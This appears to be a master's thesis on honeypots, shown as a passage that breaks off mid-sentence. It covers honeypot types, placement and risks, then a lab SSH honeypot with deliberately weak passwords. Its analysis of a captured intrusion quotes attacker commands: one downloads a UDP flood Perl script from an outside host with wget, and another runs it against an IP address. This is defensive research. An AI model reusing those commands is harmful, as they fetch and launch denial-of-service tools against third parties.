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Abstract  
 
 
In the computer security terminology a honeypot can be described as an information system 
resource whose value lies in unauthorized or illicit use of that resource. It can be used to 
divert attackers away from production systems, as well as collect information about them, 
their attack patterns and methods. This information can in turn be used to improve 
protection mechanisms either by security professionals or system administrators. A 
honeypot is a security tool where one of the intentions can be to help mitigate risk in an 
organization. However; honeypots themselves may introduce risk to the organizational 
environment that must be taken into consideration before deploying a honeypot. 
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1. Chapter: Introduction 
 
This chapter will present the background, motivation, problem definitions and scope of the thesis as 
well as an outline of the main contributions that can be found within. 
 
1.1 Background and motivation 
 
The topic of this thesis was proposed to me by my educational supervisor Audun Jøsang. I had 
previously not worked with honeypots and had only a vague idea of what a honeypot was and what 
its uses could be. However; due to my interest in network technology and information security the 
subject was something I wanted to look into and use as a basis of my thesis. With the help of Audun 
the problem definitions were described and formed. As Lance Spitzner puts it: 
“When you’re trying to defend against an unknown new form of attack, the best defense is 
an unknown new form of defense”. [2: XVI] 
 
1.2 Problem definition 
1.2.1 How can honeypots be used to improve network security? 
 
To help answering the problem to be addressed the following sub-questions will help gathering lead 
information: 
 
1) What information can be collected with honeypots?  
2) How can the collected information be used?  
3) Can integration of honeypots in a production network cause risks?  
4) How can potential risks be mitigated?  
 
 
1.3 Main contributions 
 
The main contributions found in this thesis are among the data collected by the honeypots that were 
deployed as a part of the laboratory experiments done in conjunction with the thesis. The results 
show definite examples of what kind of information can be collected by different types of honeypots. 
The thesis also suggests how this information can be put to use by security professionals or system 
administrators. I have also shared my experiences of working with honeypots, allowing others to 
learn from both ideas and mistakes that have been made during the laboratory work. 
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1.4 Approach/Method 
 
The approach to this thesis will be a mixed one, using both literature studies and laboratory 
experiments. Literature, previous research material, software documentation and source 
code will help answering the problem definitions stated in chapter 1.2.1.On the other hand 
laboratory experiments will be crucial when it comes to data gathering, new findings and 
contributions. 
 
1.5 Scope 
 
The project will be limited to the evaluation of a limited number of honeypot 
implementations. One of the keys will be implementation of both high interaction and low 
interaction honeypots as they can potentially gather different types of information. Because 
of limited personal hardware resources, virtualization software will be used as a platform for 
deploying these honeypots. 
The main focus of this thesis will be at the technical and information technology related part 
of honeypots and will not go in depth in any other fields of research in regards to answering 
the problem definitions or honeypot technology in general. 
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2. Chapter: Background 
 
This chapter will go in depth on honeypot technology and its relations to other network 
perimeter defense technology. This will include the various types of honeypots, with its 
advantages and disadvantages as well as different approaches to deployment. 
 
2.1 What is a honeypot 
 
Most security technologies have been designed to address specific problems. For example 
the firewall prevents attacks by controlling the traffic flow passing through it and the 
antivirus software identify, clean and protect computers against malicious software. Unlike 
these technologies the honeypot isn’t locked into a single task or role. The goals of the 
honeypot are defined by the intentions of those who design or deploy it. A honeypot can i.e. 
help stop or detect network attacks – tasks that are shared with a firewall or a network 
intrusion detection system. [1:40-41] On the other hand, honeypots can also be designed  
for more creative tasks such as diverting attacks away from critical assets and encouraging 
attackers to stay on the system long enough to ensure the collection of extensive 
information about the attacker’s activity.  [8:581] The collected information can 
subsequently be employed to shield the production systems against similar attacks. [11:10] 
Due to the flexibility and many different applications of a honeypot the characterization is 
very broad in scope. The definition proposed by the members of the Honeypot mail list1 is as 
follows:  
 
“A honeypot is an information system resource whose value lies in unauthorized or illicit use 
of that resource.” 
 
Such a resource can be a router, printer, scripts running emulated services, systems built 
with – or emulating known vulnerabilities, or any type of digital entity. They are specifically 
distinguished from the production systems as they provide no production services and hence 
should not intentionally be accessed by or communicated to by legitimate users. For this 
reason all activity on or interaction with the honeypot should be considered unauthorized, 
malicious and suspicious. Such a resource could even be a digital entry like a false patient 
record at a hospital or an e-mail address. Because the patient record is false, nobody should 
be accessing it and hence any activity on this record can be considered suspicious. [9:18] 
Project Honeypot2 uses this technique to track spammer activities. By putting e-mail 
addresses up on web sites and monitoring activity on these sites they can detect and identify 
                                                          
1
 The Honeypot mail list is a lightly moderated public mail list dedicated to developing and sharing the 
understanding of honeypot value, uses, deployment, and research. Moderated by: Lance Spitzner [10] 
2
 http://www.projecthoneypot.org 
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spammers and the bots that are used to collect e-mail addresses off of web sites. When 
these e-mail addresses start receiving e-mail they know that these messages are spam and 
they can pinpoint when the e-mail address was collected by the bot and what IP-address 
gathered it. [12] 
 
2.2 Network perimeter defense  
 
As the Internet emerged and became an important commercial platform; the need for a 
perimeter defense between the closed corporate network and other networks, most 
notably, the public Internet also arose. The challenge of perimeter defense produced a 
succession of network security mechanisms designed to restrict allowed paths and 
inspection of network traffic. [15:20·2-3] To be able to see where a honeypot will fit into a 
network perimeter defense system and what its advantages and contributions will be in such 
an environment an overview of the other technologies in this environment is also needed. 
Lance spitzner adds that there are three areas within security: 
1) Prevention 
2) Detection 
3) Response 
Within these three areas the primary value of a honeypot is to the area of detection as false 
negatives and false positives are not applicable to honeypots, making them extremely 
efficient for detecting unauthorized activity.  [1:71] 
 
2.2.1 Firewall 
 
The firewall is a single secured point of entry between the Internet and the local network. All 
network traffic passes through the firewall on its way to or from the Internet, which allows 
for configuration of what traffic will be allowed or denied and deploying this configuration 
for all computers on the LAN. This can be used to protect machines and services by making 
them unavailable from the Internet. The most basic concept of a firewall will block a 
specified TCP/IP source/destination address/port combination by deploying packet filtering 
rules and matching every single packet against this set of rules. For example: 
 
allow source=any dest=192.0.2.66 destport=25 
allow source=192.0.2.0/24 dest=any destport=any 
deny source=any destport=any dest=any 
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The above example shows how a firewall can be configured with rules to allow or deny 
traffic between a LAN and the Internet. The first rule allows any incoming packets from the 
Internet on port 25 to access the internal IP address 192.0.2.66.  This will allow for a mail 
service to be accessible from outside the local network. The second rule will allow all 
outbound traffic from the LAN to the Internet, while the last rule will deny all inbound traffic 
on any port. For the rules in the example above to be any useful they would have to be 
configured on a firewall supporting stateful packet inspection. A stateful packet inspection 
firewall will look at a TCP stream rather than matching every single packet with the firewall 
rules. In this manner, packets transmitted as replies to a packet that matched the rules and 
was allowed to pass, will also be allowed to pass. [17:626-629]  
 
2.2.2 Honeywall 
 
A firewall deployed together with a honeypot is often referred to as a honeywall. The task of 
the honeywall is to separate the honeypot or honeynet from the rest of the network to 
mitigate the risk of damaging non-honeypot systems.  As with a regular firewall all traffic to 
and from the honeypot must pass through the honeywall. Because all this traffic also is 
suspicious the honeywall often performs extensive logging in addition to the filtering. [14: 9] 
The honeywall is especially important when deploying high interaction honeypots as there is 
no way to control an attacker on a fully compromised system. Instead the attacker must be 
controlled by the honeywall which prevents further attacks to be launched from within the 
honeypot. Such an architecture is however very hard to deploy as locking it down too much 
will make the attacker suspicious and may reveal that he/she is being monitored, while 
having it too open may allow the attacker to launch attacks at other systems.  [1:82] 
 
2.2.3 NIDS 
 
The role of the network intrusion detection system is to sound an alarm when all is not well 
with the network perimeter. Such a situation could be an attack or an attempted attack. 
When the network security mechanisms are working properly, the intrusion detection 
system will provide threat level information rather than actual intrusions. Network intrusion 
detection systems will listen to production traffic and by using pattern-matching features or 
signatures (similar to antivirus signatures), attempt to detect malicious activity. This allows 
for detection of certain known attacks on specific protocols. [15:20•5] 
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2.2.4 NIPS 
 
Network intrusion prevention systems are very similar to network intrusion detection 
systems. The difference is that they in addition integrate intrusion response capabilities.  
Where the network intrusion detection system will require human response to the alerts, 
the intrusion response capabilities allows the network intrusion prevention system to take 
action on its own. Such an action can be: 
 
1) Rule modification; such as signaling the firewall to terminate a connection or drop 
packets from a specific IP address 
2) Hack-back response; where the NIPS reacts to a DoS attack and tries to disable the 
source of the hostile traffic 
3) System-level actions; like firewall interface deactivation to firewall shutdown 
[15:20•6-7] 
 
2.2.5 DMZ 
 
The demilitarized zone (DMZ) is the middle ground between the untrusted, external Internet 
and the trusted, internal LAN. It is a branch on the firewall where servers required to be 
reachable from the Internet are positioned. Typical servers that are put in the DMZ are email 
or web servers. The purpose is to keep the public servers completely separate from the 
private servers on the LAN, in case the public servers are compromised. In case of a 
compromise, the attacker still needs to go through the firewall to reach the internal 
network. [17:636] 
 
2.2.6 NAT/PAT 
 
Network Address Translation (NAT) allows for private IP-addresses3 inside a LAN to access 
the public Internet. Normally multiple internal addresses will be translated into one single 
outside address. A device (router or firewall) sits between the local network and the Internet 
and performs translation on the addresses passing through it. Compared to NAT, Port 
Address Translation (PAT) will additionally store the source TCP/UDP port used when a 
connection is established. Return traffic is then compared to the table where this 
information is stored and the destination IP address and TCP/UDP port numbers are 
modified to correspond to the stored entries. Public addresses are limited and a network 
                                                          
3
 Elaborated in RFC 1918 
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service provider might only provide you with 1-4 of these addresses. One address will be 
needed by the firewall or NAT device while the others may be needed for specific services 
(such as e-mail) within an organization. This will leave few or no public addresses left for a 
honeypot or honeynet which in that case will depend on NAT/PAT to be reachable from the 
Internet. [17:600-601, 16:141] 
 
Figure 1: showing the concept of Network Address Translation. Figure re-drawn from: 
[17:600] 
 
2.3 Honeypot placement  
 
There are three main locations to place a honeypot system, where each location has its 
advantages and disadvantages depending on the goal of the honeypot deployment: 
1) External facing the Internet 
2) Internal behind the firewall 
3) On the DMZ 
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2.3.1 External placement 
 
With external placement there is not firewall protecting the honeypot in any way. Without 
any filtering of what reaches the honeypot, it will be freely exposed to attacks which may 
increase the number of probes it receives. If the number of public IP-addresses is limited the 
monitoring and logging units may be placed on the same LAN as the honeypot connected via 
a hub. This will allow them to monitor any traffic going from and to the honeypot. Due to 
lack of a firewall or some other sort of defense, this setup poses the largest risk of the 
compromised honeypot being used as a platform to attack the production network or 
external networks. [11:54-56] 
 
External honeypot Monitoring / Logging server
Hub
Router / Modem
Internet
 
Figure 2: showing the positioning of an external honeypot. Figure re-drawn from [11:55] 
 
2.3.2 Internal placement 
 
In contrast to the external honeypot the internal honeypot is placed inside the network with 
a firewall between it and the Internet. The main advantage of placing it on the internal 
network is that it can expose attacks that have made it past the network defenses as well as 
catching internal threats at the same time. An example of an internal threat could be a 
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situation where a worm is carried through to the inside of the network on a portable 
computer (or by other means), allowing it to bypass the firewall. The internal honeypot 
could in this example warn the system administrators that the worm has made it past the 
firewall and is probing internal computers. As the honeypot is protected by a firewall it will 
also receive far less probes and will because of this collect far less data than an external 
honeypot. This may be both an advantage and a disadvantage. If the goal of the honeypot is 
to gather as much information as possible, it’s a clear disadvantage. However; the low 
amount of received data will also ease the work of monitoring and maintaining of the 
honeypot. The major drawback of internally placed honeypots is the threat it poses if fully 
compromised since attacks can freely be launched at other internal nodes. Because of this it 
may be favorable to use a low interaction honeypot for this purpose. [11:56] 
 
 
Figure 3: showing the positioning of an internal honeypot. Figure re-drawn from: [11:57] 
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2.3.3 DMZ Placement 
 
The third available location for placing a honeypot is on the firewall DMZ. Any nodes that are 
positioned in the DMZ are already exposed to probes and attempted attacks from the 
outside world. Having a honeypot in the DMZ can provide early warnings of any security 
breaches on these exposed servers. Placing the honeypot in the DMZ will protect the 
internal network from attacks launched from within the honeypot. On the other hand it will 
not be able to serve as an indicator for any internal network compromise. [11:57-58] 
 
Figure 4: showing the positioning of a honeypot in the DMZ. Figure re-drawn from: [11:58] 
 
2.3.4 Honeypot placement location comparison 
 
The table below shows the advantages and disadvantages of honeypot positioning for easy 
comparison: [11:59] 
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Placement Advantages Disadvantages 
External - High Internet exposure 
- Easiest to set up 
- Low number of network devices needed 
- Poor data control 
- Highest risk to production 
network 
Internal - Good for mimicking production assets 
- Best for monitoring internal employees 
- Early-warning system to back up other 
defenses 
- More complex setup 
- Data control questionable 
- Need to decide which ports to 
allow/redirect 
DMZ - Good for mimicking production assets 
- Good data control possible 
- Most complex setup 
- Not the strongest internal 
early-warning system 
- Need to decide which ports to 
allow/redirect  
 
2.4 Types of honeypots 
 
Due to the broad definition of what a honeypot is they can be distinguished by, or divided 
into multiple categories depending on what their application is, what platform they are 
running on, and by the level of interaction that is allowed by the honeypot. One specific 
honeypot can belong to a combination of these categories since the categories are 
independent of each other (i.e. you could have a high interaction virtual research honeypot).  
Categories based on interaction: 
1) Low interaction honeypots 
2) High interaction honeypots 
The keyword “interaction” defines how much activity the honeypot allows the attacker to 
have with the honeypot. The more interaction is allowed by the honeypot, the more it will 
allow the attacker to do within the honeypot. This increases the amount of information the 
honeypot can collect and enhance the level of detail of this information. [9:21]  
Categories based on application: 
1) Production honeypots 
2) Research honeypots 
These categories are defined by the intentions behind the deployment of the honeypot. 
Research honeypots are set up within a research environment to gather information about 
malicious activity while production honeypots are set up to protect a company or an 
organization. The honeypot can in many cases serve both categories but the definition is 
made based on the purpose of the deployment. [1:44] 
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Categories based on platform: 
1) Physical honeypots 
2) Virtual honeypots 
A platform can be virtual or physical. This refers to whether the honeypot is running on 
actual hardware or on software. [14:11] 
 
2.4.1 Low interaction honeypots 
 
Low interaction honeypots are software or scripts that use emulation to appear like 
operating systems or services (e.g. HTTP/SMTP).  As they are not real systems, the amount of 
activity the attacker will be allowed to perform will depend on how well and to what depth 
the emulation is done. I.e.: the attacker will be allowed to connect to the honeypot via the 
SMTP protocol and run a few basic commands such as “HELO” and “RCPT TO”. The level of 
interaction should be just enough to trick a worm or an attacker into believing he or she is 
talking to a real system.  Low interaction honeypots have the advantages of having minimal 
risk as the emulated services contain the attacker and limit what they can do. Due to their 
simplicity of being pre-written scripts/software they are also easy to deploy and maintain. 
This makes them more suitable to be used by organizations to protect their systems4.  Low 
interaction honeypots can pretend to run almost any operating system and any service. 
However, these services are limited as they are written to only expect a certain number of 
commands with predefined replies. [9: 21-25, 14:10] If the attacker does something 
unexpected the honeypot will only return an error which may reveal to the attacker that he 
or she is not communicating with a real system or application. [13:254] This also limits the 
information that is retrievable by a low interaction honeypot to statistical data and high-
level information about attack patterns. [9: 21-25, 14:10] 
 
2.4.2 High interaction honeypots 
 
High interaction honeypots, unlike low interactive honeypots, do not emulate services or 
systems but provide real systems and/or applications for the attacker to interact with. [9:25] 
These systems may also be left unpatched after installation to allow the attacker to exploit 
known (or unknown) vulnerabilities when attacking the honeypot. [11:15] In addition to 
being able to detect attacks they can also permit the attacker to interact with all layers of 
the OSI model and even allow him or her to break into the system. This allows for capture 
the attackers keystrokes, rootkits, tools and attack patterns. This information can be used to 
                                                          
4
 See section on Production honeypots 
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understand the attackers’ motives, intentions, skill levels and other details. As the attacker is 
interacting with a real system it will also be able to log new, unexpected or unknown 
behavior. Real systems can however be used as a platform for an attacker to launch new 
attacks on non-honeypot systems (inside or outside the organization), introducing a certain 
risk in deploying such a honeypot.  Additionally they are more complex than low interaction 
honeypots as they need to be built and configured for their task. With this increased 
complexity there are also increased requirements for maintenance. Because of the high level 
of freedom an attacker will have within the honeypot it may be fully compromised, and 
hence it must be closely monitored and observed to detect any actions and changes done to 
the system. When the honeypot has been compromised it may take hours or even days to 
analyze the events of the attack. Due to this complexity and high maintenance it makes it 
difficult to deploy high interaction honeypots on a large scale. [9:25, 14:10-19] 
 
2.4.3 Production honeypots 
 
Production honeypots are implemented within an organization as a part of their defense 
mechanisms to help secure the electronic environment. They are deployed to detect attacks 
and to mitigate the risk of having attacks on the production systems. The information 
collected by these honeypots does may include where attacks are coming from, what 
services are attacked and what exploits they’re using. Protection honeypots will generally be 
of the low interaction category as high interaction is not needed to collect the data required 
to protect the organization. [1: 45] 
 
2.4.4 Research honeypots 
 
Research honeypots are designed to gain in-depth information about the blackhat 
community. The information gathered by these honeypots may include who the attackers 
are, how they are organized, what kind of tools they use and how they obtained these tools. 
This information can display what an organization may be up against and allows for better 
understanding of these threats and how to protect against them.  Such honeypots help 
protecting assets indirectly rather than directly. They add no direct value to a specific 
organization but rather to the security community as a whole. Research honeypots are 
generally deployed by universities or security research companies and are often of the high 
interaction category. [1:45-46] 
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2.4.5 Physical honeypots 
 
A physical honeypot runs on a physical machine and in other words on actual hardware. 
Physical honeypots will in most cases also belong to the category high interaction (low 
interaction honeypots are software and does not demand its own hardware). The typical 
physical honeypot will be expensive to install (especially on a large scale) as it requires 
hardware and in most cases will be costly to maintain because of the drawbacks of being 
high interaction. 
 
2.4.6 Virtual honeypots 
 
Virtual honeypots can unlike physical honeypots share hardware between them.  One 
physical computer can act as a host for multiple virtual machines which can each act as one 
or several honeypots. This increases scalability and flexibility as well as lowers maintenance 
requirements. The software acting as a host can be virtualization technology from VMware5, 
Xen6 or User-mode Linux7. [14:11-12]  
 
2.4.7 Honeytokens 
 
A honeytoken is a honeypot that is not a computer. Often such a token is a piece of 
information or a digital entity that has no production value. E.g. it could be a false patient 
record at a hospital or an e-mail address. Since these entities have no production value, as 
with any other honeypot, nobody should be accessing them (such as reading the record or 
sending a message to the e-mail address). If they are accessed this should be considered as 
suspicious, and possibly malicious activity. [9:18] 
 
2.4.8 Honeynets 
 
If several honeypots are combined into a network of honeypots, it becomes a honeynet. 
[20:21] These honeypots are working together with a central monitoring system that covers 
all the honeypots. It should be set up in such a way that the hacker is isolated to the 
honeypots while the monitoring devices are hidden from easy discovery. [11:41-42] Due to 
the advantages of diversity a honeynet often consists of multiple high interaction honeypots 
                                                          
5
 http://www.vmware.com/ 
6
 http://www.xen.org/ 
7
 http://user-mode-linux.sourceforge.net/ 
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of different types (such as different platforms and/or operating systems). This allows for 
simultaneous collection of data about different types of attacks. [20:21] An interesting 
example of a honeynet is the Wombat project, which uses different types of honeypots 
deployed by volunteer organizations and companies (as well as other methods for collecting 
information) and performs data enrichment on the gathered data. This allows them to see 
the bigger picture and “connecting the dots” as they say, discovering patterns that otherwise 
would have been hidden. The contributors are also granted access to the data gathered by 
other participants, allowing them to view and compare trends at other locations all over the 
world. [22] 
 
2.5 Risks 
 
Multiple honeypot researchers admit that deploying a honeypot or honeynet may involve 
risks. These can be divided into technical and legal risks.  
 
2.5.1 Technical risks and how to mitigate them 
 
For a honeypot to be capable of collecting information, the attacker must be allowed to 
access and interact with it. As the Honeynet Project puts it: 
“As a result, the price you pay for this capability is risk.” [9:41] 
They state four general areas in reference to risk [9:42]: 
1) Harm 
2) Detection 
3) Disabling 
4) Violation 
 
2.5.1.1 Harm 
 
Harm is when a honeypot or honeynet is used to attack or harm non-honeypot systems. 
After breaking into the honeypot the attacker proceeds to launch attacks e.g. on an external 
system, successfully harming or compromising the victim. There is no guaranteed method to 
prevent this risk. However; the primary tool for mitigating this risk is the use of data control. 
This includes limiting or stopping the outbound traffic from the honeypot. This can be done 
by the means of a firewall or a NIDS/NIPS. The owner of the honeypot needs to evaluate 
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how much risk he or she is willing to accept and configure the traffic limitations in that 
respect. [9:42] 
 
2.5.1.2 Detection 
 
If the true identity of the honeypot is identified the value of it is radically reduced. An 
attacker can choose to ignore or bypass the honeypot systems and by doing so preventing 
them from capturing any data produced by said attacker. Another option would be to feed 
the honeypot with false and misleading information and divert the owners’ attention away 
from his or her malicious activities. As the goal of the honeypot is to gather information this 
would render it useless or even against its purpose. [9:42] The key to avoiding detection is to 
make the honeypot appear as much like a production system as possible. Due to this, high 
interaction honeypots have a big advantage over low interaction honeypots that only 
emulate services (or parts of services). The limited interaction allowed by the emulated 
services in a low interaction honeypot can make the attacker suspicious. 
 
2.5.1.3 Disabling 
 
The third risk is the danger of the attacker disabling honeypot functionality. This could be 
either the data control features or the data capture and logging routines. If an attacker 
manages to disable the data capture routines, it may still possible to feed it with false pre-
generated data to trick the owner into believing the routines are still in place. The way 
around this risk is to implement multiple layers of data control and logging as there in such a 
setup will not be a single point of failure. [9:43] 
 
2.5.1.4 Violation 
 
An attacker may also use the compromised honeypot for performing malicious activity on 
that specific host. E.g. he or she could be uploading illegal material such as pirated software, 
music, movies or child pornography and then proceed to distribute this material from the 
honeypot. If this is detected by i.e. legal authorities, the illegal activity will initially be linked 
to the owner of the honeypot as the data is located on his or her system. [9:43] Data control 
and logging will allow for detection of such activities which makes it crucial that these 
features have not been disabled by the attacker up front.  
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2.5.1.5 Risk mitigation 
 
As Lance Spitzner puts it8: “… such a tool comes with an immense level of risk” while further 
stating that “An extensive amount of work must go into mitigating these risks”. [1:82] In 
regards to mitigating the risk mentioned in the four sections above, there are two steps that 
relates to all of them.  
1) Human monitoring 
2) Customization 
Human monitoring is the activities of watching and analyzing the honeypot in real time. If a 
successful attack is suspected all captured data should be analyzed as this helps prevent the 
risk of the attacker detecting or disabling the honeypot or attempting to harm non-honeypot 
systems. If the threshold for risk has been reached the honeypot can in such a case also be 
shut down by the individual performing the monitoring. 
A lot of honeypot software is open source in which case the source code is freely available 
online. This grants also the blackhat the insight into the heart of the honeypot technology 
allowing them to develop counter measures; such as tools for detecting honeypots. By 
customizing the software in ways such as editing the default configuration files it will make 
detection harder and increase the chances of a successful deployment. [9:43-44] 
Another way of reducing risk is by limiting the level of interaction with the honeypot. The 
higher the level of interaction is, the higher the complexity and risk. Due to this it’s 
important to only allow the interaction required by the honeypot to be able to fulfill its 
purpose.  
In regards to low interaction honeypots the latest version of the honeypot software should 
be installed at any given time to make sure it has as few bugs and vulnerabilities as possible. 
Even though the honeypot software is secure, that does not guarantee that the operating 
system on which it runs is secure. If the operating system is compromised, then so is the 
honeypot. To counter this, the operating system must be patched and secured before 
installing the honeypot. This may include disabling any services not needed for production. 
The operating system and the required software must also be patched and updated while 
the honeypot is in production like with any other production system. [1:303-304] 
 
2.5.2 Legal risks 
 
Legal risks involved with running a honeypot takes liability, privacy and entrapment into 
account. Roger A. Grimes claims in his book “Honeypots for Windows” from 2006, that;  
                                                          
8
 While talking about high interaction honeypots 
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“laws that could apply to honeypot surveillance technology have not yet been tested in 
courts.” [11:33] 
It is important to state that the laws in regards to information security, information 
collection and application of honeypot technologies may differ significantly depending on 
what country the honeypot is deployed in. This will be especially important to note for any 
international organization that would like to put the same setup into production in multiple 
countries. In addition, the way the honeypot is configured, what information is collected and 
how this information is handled or stored will affect the legality of the honeypot. Similarly, 
what intruders do on and from a compromised honeypot may expose the owner to certain 
legal issues. It is out of the scope of this thesis to go in depth regarding what is legal and not 
due to enormous variety in laws depending on the location of where the honeypot is 
deployed. However, to provide an answer to the questions in chapter 1.2.1 a look at 
potential legal risks is needed. The legal risks of deploying a honeypot can be split into three 
categories:  [1:367-371] 
1) Privacy: does the use of honeypot technologies improperly invade protected areas of 
user privacy? 
2) Entrapment: can capturing the key strokes and activities of an attacker within a 
honeypot be considered entrapment? 
3) Liability: can the owner of the honeypot be held liable if a compromised honeypot is 
used to attack external assets or is used to store pirated software or child 
pornography? 
 
2.5.2.1 Privacy 
 
The legal risks centering around privacy focuses on the confidentiality of information. 
Information captured by a honeypot may include e.g. user conversations. This could be 
conversations between the attacker and a third party that has no involvement in the attack 
nor the honeypot. If the attacker sets up IRC9 bots, these may log conversations happening 
in public chat channels storing the words of multiple unknowing individuals. [1:371] 
 
2.5.2.2 Entrapment 
 
The definition of entrapment as described by the Cambridge online dictionaries: 
“Entrapment: the practice of causing someone to do something they would not usually do by 
tricking them.” [23] 
                                                          
9
 Internet Relay Chat 
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Lance Spitzner states that the concern for entrapment implications when deploying 
honeypots is vastly overstated. He argues that “entrapment is a legal defense to avoid 
conviction and not a basis for criminal liability.” [1:380-381] 
 
3.5.2.3 Liability 
 
In a situation where a honeypot has been compromised and subsequently used to attack a 
third party, the question arises if the owner may be held liable for any damage caused to the 
third party due to exposing an intentionally insecure computer to the Internet. Even though 
the harm was inflicted by the intruder, if the honeypot had been secure the attacker would 
not have been able to cause damage to others. Another example can be the distribution and 
storage of pirated software or child pornography from the compromised honeypot. In either 
of these cases it comes down to the federal law in the country where the honeypot is 
located. [1:381-383] 
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3. Chapter: Honeypot deployment and experiments 
 
One of the goals of this thesis was to find out what kind of information could be collected 
with honeypots and how this information can be used. In addition to using literature studies 
to uncover what sort of data others previously had collected with honeypots, I wanted to set 
up my own honeypots to collect new, fresh and perhaps different data. Two honeypots were 
deployed as a part of this thesis; one low interaction honeypot as well as one high 
interaction honeypot. The low interaction honeypot was set up on a Microsoft Windows 
platform, employing the off-the-shelf product KFsensor from KeyFocus. KFsensor was chosen 
due to the need of a Windows based honeypot (because of lack of hardware), as it had a 90 
day trial version with full software functionality included. In regards of the high interaction 
honeypot this was a setup built from scratch which provided the highest control and 
flexibility which was required due to the deployment on limited hardware and resources.  
 
3.1 Project Beatrix (high interaction honeypot) 
 
The high interaction honeypot10 deployed as a part of this project was built to gather 
information. The whole setup was built from scratch and did require some trial error to 
reach a production state where information could be gathered in a reliable fashion. The 
building process, setup and results will be described in this section.  
 
3.1.1 Project Beatrix Setup 
 
As a base for the project, the VMware vSphere Hypervisor (ESXi) version 3.5 was used as a 
platform for creating the environment for the high interaction honeypot. ESXi was chosen 
mainly because of limited personal hardware resources, secondly because it is available for 
free and thirdly because I already have experience with the product from previous projects 
at UiO and my employer. Due to the very limited hardware11 resources, Linux was chosen as 
the operating system for the virtual honeypot environment, consisting of two Debian Linux 
computers running kernel 2.6: 
1) Beatrix: Virtual High Interaction Honeypot 
2) Beatrixlog: Rsyslog remote logging server 
                                                          
10
 Named Project Beatrix 
11
 See appendix A3 for technical specifications on the ESXi server 
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The installation of Beatrix was done using a standard Debian Netinst12 image and by 
installing the OpenSSH SSH daemon to be utilized as the service to receive potential attacks 
on the honeypot. What particular service that was made exploitable was not of importance 
to this project as the goal was to gather data after the honeypot had been compromised. 
SSH was chosen as previous honeypot attack statistics showed high attack rates on this port 
which would increase the chances of successful attacks (see figure below) . The 
leurrecom.org honeypot project also successfully deployed high interaction honeypots 
where user accounts with weak passwords were given external access to the SSH service. 
[19:1-2]  
 
 
Figure 5: The purple line shows attacks on port 22. The Windows port 445 (SMB file sharing) 
as well as the collection of “Other” ports has been filtered from the figure as they had no 
relevance to the Beatrix project and because doing so made the figure more readable. [18] 
 
SSH also provides the attacker with full remote shell access allowing them to run any 
command the user account has available and thus increasing their level of freedom. Two 
users were made available for logon to the honeypot: 
1) The user “test” with the password “test” 
2) The user “root” with the password “root” 
In the first phase of the project, only the “test” user was granted login access. “Test” was a 
regular user account with no particular access rights. In the second phase of the project also 
the super user “root” was made available with a weak password. The reason for this was 
                                                          
12
 A single CD that contains just the minimal amount of software to install Debian while downloading the 
remaining packages over the Internet. [20] 
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that the data gathered over a two months period by the regular user account was very 
limited. I could also see a clear pattern after analyzing the gathered information showing 
that the intentions of the attackers and the collected data were repeating themselves. As an 
attempt to gather new and different data I also made access to the honeypot via the super 
user account easily available. The information gathered by successful “root” logins did show 
both different motivations and actions compared to the previous regular user logins.  
To ensure that all activity performed by attackers was being logged, the logging and wrapper 
library Snoopy Logger was installed to record all commands executed within the system. 
Snoopy was set up to record all commands into the log file /var/log/auth.log. Because such a 
simple path was chosen, the presence of Snoopy Logger would be easily detectable by 
attackers gaining root access to the honeypot, but would be hidden from regular user 
accounts. Due to Snoopy Logger being detectable this could provide additional information 
about the attacker (i.e. what efforts would the attacker go through to make sure the system 
would be safe for him or her to reside on - or what would the attacker do if discovering the 
excessive logging of his or her actions?). 
As a full compromise of the honeypot was possible, a separate and secured log server was 
also installed and configured to receive log data using Rsyslogd13. All commands recorded in 
/var/log/auth.log on Beatrix were pushed over UDP to port 514 on the server Beatrixlog and 
recorded in /var/log/auth.log on this server as well. In this way, even if the attacker would 
get suspicious and attempt to delete all his or her tracks on the honeypot, the activity would 
still be safely logged on Beatrixlog. 
One of the most crucial advantages of using a virtualization platform was ESXi’s ability to 
save the state of the honeypots virtual disk. Setting the disk in independent and 
nonpersistent mode (see figure 6) allowed for all the changes written to the virtual disk to be 
discarded when resetting or powering off the virtual machine. After analyzing the 
compromised honeypot, the required operation for placing it back into production was 
merely a reset of the machine decreasing the “from-compromised-to-production” timespan 
to less than a minute even on the limited hardware used in this project. This did however 
have one drawback; after being compromised the resources was on two occasions 
exhausted to such a degree that any communication with, or logon to the honeypot was 
impossible. This required the virtual machine to be reset, which in turn erased all changes 
done to the honeypot before this information could be extracted – leaving only the 
commands that had been saved to the log server.  
                                                          
13
 See appendix A1 and A2 for relevant configuration files. 
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Figure 6: the available modes for virtual disks in VMware ESXi v3.5. 
 
The solution was to disable the independent mode from the virtual disks and taking 
snapshots of it instead. This allowed for the honeypot to be reset/shut down without erasing 
any data by doing so, while at the same time keeping the option to restore the machine to 
its original state by reverting to the snapshot. While this required more time and hardware 
resources it showed to be a more resilient solution. 
 
3.1.2 Project Beatrix data analysis and results 
 
Like the low interaction honeypot the high interaction honeypot was also capable of 
collecting statistical data, but to a lower degree, mainly because only one service was open 
to probing from the Internet. This data includes the number of probes, how many logon 
attempts failed and how many were successful. It shows the IP addresses these probes are 
coming from, if they are likely to be automated (failed logon attempts after a successful 
logon has already been performed is a clear indication that the attack is automated) and 
revealing contents of dictionaries used by the attackers. As well as capturing statistical data 
the high interaction honeypot was capable of capturing very detailed information about 
attacker behavior on a compromised system. The following chapters will examine a selection 
of attacks that was made against the honeypot in the period it was online between February 
and June 2011. The attacks have been chosen based on the amount and value of the data 
that was collected in connection with these malicious events, focusing on presenting unique 
information as well as trends. 
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3.2.1.1 High interaction honeypot attack 1 
 
The first successfully logged attack against the honeypot was performed from an IP-address 
in Cyprus in February 2011: 
 
01. Feb 28 18:12:51 beatrix sshd[20668]: Accepted password for test 
from 62.228.141.163 port 49343 ssh2 
 
After accessing the honeypot the attacker proceeded to collect information about the 
computer. He ran commands to see who was logged on to the machine, what kind of 
hardware it was running and for how long the computer had been running: 
 
01. Who 
02. uname -a;uptime 
03. cat /proc/cpuinfo 
04. w 
05. ls –a 
 
The attacker then proceeded to download a perl script called “udp.pl” as well as file called 
100mb.test: 
 
01. wget http://pinky.clan.su/flood/udp.pl ; chmod +x udp.pl 
02. perl udp.pl 82.76.238.150 0 0 
03. wget http://cachefly.cachefly.net/100mb.test 
 
The perl script was immediately after download ran against a Romanian IP address. The fact 
that one of the files are called “100mb.test” while the other showed to be capable of 
sending a steady stream of UDP packets towards a chosen target indicated that the attacker 
was checking the capacity of the Internet connection on which the honeypot was located. It 
is not unreasonable to believe that he or she was only after machines residing on high speed 
connections and proceeded to evaluate the speed of the connections only after a victim had 
